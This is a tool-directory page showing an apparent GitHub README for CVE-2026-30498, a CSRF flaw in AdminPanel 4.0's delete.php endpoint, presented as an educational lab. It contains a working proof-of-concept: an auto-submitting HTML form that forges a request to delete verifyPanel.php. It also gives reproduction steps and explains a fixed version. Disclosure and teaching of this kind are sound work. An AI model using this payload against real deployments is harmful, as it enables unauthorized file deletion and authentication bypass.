Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-30498 — Educational CSRF vulnerability demonstration with a controlled lab environment, including a proof-of-concept exploit and a fixed version with proper CSRF protections. | Kitploit
Tools/GitHubGitHub/mehdi-ben-hamou/cve-2026-30498
Vulnerability AnalysisExploitationWeb SecurityPenetration TestingLearning & EducationLabs & Practice
GitHubmehdi-ben-hamou/cve-2026-30498

CVE-2026-30498

Educational CSRF vulnerability demonstration with a controlled lab environment, including a proof-of-concept exploit and a fixed version with proper CSRF protections.

View Repository
15 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-30498 – CSRF Vulnerability (AdminPanel 4.0)


Overview

CVE ID: CVE-2026-30498 (Reserved by MITRE)
Discoverer: Mehdi Ben Hamou

A Cross-Site Request Forgery (CSRF) vulnerability exists in the delete.php endpoint of AdminPanel 4.0.

This vulnerability allows an attacker to trigger sensitive actions (file deletion) on behalf of an authenticated user without their consent.


Technical Details

The vulnerability is caused by the absence of CSRF protections:

  • No CSRF token validation
  • No Origin / Referer validation
  • Sensitive action exposed via GET request
  • No verification of user intent

The vulnerable endpoint processes requests directly based on user session without validating the source of the request.


Impact

Successful exploitation leads to:

  • Deletion of verifyPanel.php
  • Authentication bypass
  • Application enters setup mode
  • Full system reinitialization possible

Affected Version

  • AdminPanel 4.0 and prior (archived project)

Attack Scenario

An attacker hosts a malicious web page that sends a forged request:

root@kitploit:~
http://localhost:8080/delete.php?file=verifyPanel.php

When a victim (authenticated user) visits this page, the browser automatically includes session cookies, and the request is executed.


Proof of Concept (PoC)

Malicious Page (Attacker)

root@kitploit:~
<form id="csrfForm" action="http://localhost:8080/delete.php" method="GET">
  <input type="hidden" name="file" value="verifyPanel.php">
</form>
<script>
  document.getElementById("csrfForm").submit();
</script>

This request is automatically sent with the victim's session cookie.


Steps to Reproduce

  1. Start the victim server:
root@kitploit:~
php -S localhost:8080
  1. Access the login page:
root@kitploit:~
http://localhost:8080
  1. Login with:
root@kitploit:~
admin / admin123
  1. Open attacker page:
root@kitploit:~
http://localhost:8081/evil.html
  1. Launch CSRF attack
  2. Return to dashboard:
root@kitploit:~
/panel/dashboard.php

What Happens Internally

  1. Victim logs in → session cookie created
  2. Attacker page sends forged request
  3. Browser automatically attaches cookie
  4. Server executes deletion without verification
  5. System detects missing authentication file
  6. Application enters setup mode

Lab Environment (Pedagogical Simulation)

This repository includes a controlled lab environment to reproduce the vulnerability safely.

Important: This lab is a simulation and does not represent the exact original AdminPanel codebase.

Reset Lab

To reset the environment:

root@kitploit:~
/reset.php

Fixed Version (Mitigation)

A secure version is implemented in:

root@kitploit:~
delete_fixed.php

Protections added:

  • ✅ CSRF Token validation
  • ✅ POST method only
  • ✅ Origin / Referer validation
  • ✅ Session validation

Why the Fix Works

  • Attacker cannot access CSRF token (Same-Origin Policy)
  • Forged requests lack valid token → rejected
  • Cross-origin requests blocked via Origin check

Project Structure

root@kitploit:~
victim/
├── index.php
├── delete.php
├── delete_fixed.php
├── reset.php
└── panel/
    └── dashboard.php

attacker/
└── evil.html

Disclaimer

This project is intended for educational and research purposes only.
Do not use this vulnerability on systems without proper authorization.

Download Tool